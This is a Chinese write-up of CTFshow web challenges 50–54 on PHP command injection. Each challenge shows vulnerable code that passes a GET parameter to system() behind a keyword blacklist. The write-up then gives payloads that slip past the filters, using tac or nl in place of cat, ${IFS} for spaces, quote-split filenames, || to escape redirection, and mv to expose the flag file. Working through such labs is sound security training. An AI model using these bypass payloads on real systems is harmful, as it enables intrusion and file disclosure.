CTFshow web(php命令执行 50-54)

web50

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:32:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

做题之前先给大伙献上干货。

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> {IFS} IFS$ {cat,fl*} %20

注:

%09 ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.'' (例如fl''ag)

2."" (例如fl""ag)

3.? (例如fl??)

4.* (例如fl*)

来自我的文章: 一篇文章带你进阶CTF命令执行-CSDN博客

可以去看看,这里后面的题目我会围绕我文章的知识点来作答

这里 system($c." >/dev/null 2>&1");其实就是将内容写入黑洞的意思,你的命令执行内容被带走了,所以这里使用命令分割 || (只执行h前面的命令)

过滤了cat使用tac ,空格过滤了使用<>

flag过滤了那就变成fl''ag

payload:?c=tac<>fl''ag.php||

web51

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:42:52

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

这里把tac过滤了,直接换成nl就好了

web52

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:50:30

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}看准过滤条件,过滤了啥那就替换就好啊。

这里没有禁用那就使用{IFS}替换空格

payload;

?c=nl${IFS}fl''ag.php||

web53

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 18:21:02

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

}else{

highlight_file(FILE);

}

这里没有写入黑洞里了,直接把上面payload复制然后删去||就好

payload:?c=nl${IFS}fl''ag.php

web54

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 19:43:42

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |0-9|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

额,汗流浃背了,这过滤有点东西啊,之前的方法用不了了,这下只能文件写入了

payload:?c=mv{IFS}fla?.php{IFS}z.txt

这里稍微再说一下啊,我一开始使用的是z.php,但是不行啊,访问不了,只能使用txt,而且最烦恼的是如果你一开始使用了z.php后面再改成txt也没有用了,因为已经把flag写入了php,所以只能销毁容器重新来

真诚地希望我的文章能够帮助大家,谢谢,在这过年期间我也是迅速更新,最后祝大家龙年吉祥!

相关推荐
子兮曰4 天前
jev-ultrafast 深度解析:7 秒订机票的浏览器 Agent 是如何炼成的
前端·后端·agent
damoluomu4 天前
挑 PHP CMS 之前,先学会看它的协议
php
云水一下4 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
子兮曰4 天前
Jev 爆发一周:7 秒 Agent 背后的 System One 生态与三场争议
前端·后端·ai编程
前端小万4 天前
写公众号赚了 3000 块后,我做了一款叫 "一键成稿" 的软件
前端·微信小程序
爱勇宝4 天前
ZCode 开源 24 小时:一份没有历史的账本,回答不了"有没有偷代码"
前端·后端·chatglm (智谱)
三十而立洋4 天前
Cookie 详解:从产生到安全,一次讲透
前端·javascript
卡布鲁4 天前
把一个 Vite + Vue3 应用塞进 qiankun (React + Umi3) 主站:十个坑的复盘
前端·javascript·react.js
汉堡大王95274 天前
Jev:不是聊天机器人, 而是一个智能 if 语句
前端·人工智能·后端
梦想很大很大4 天前
从运行事实到回归证据:Workrun 的 Telemetry 与 Evaluation 实践
前端·人工智能·后端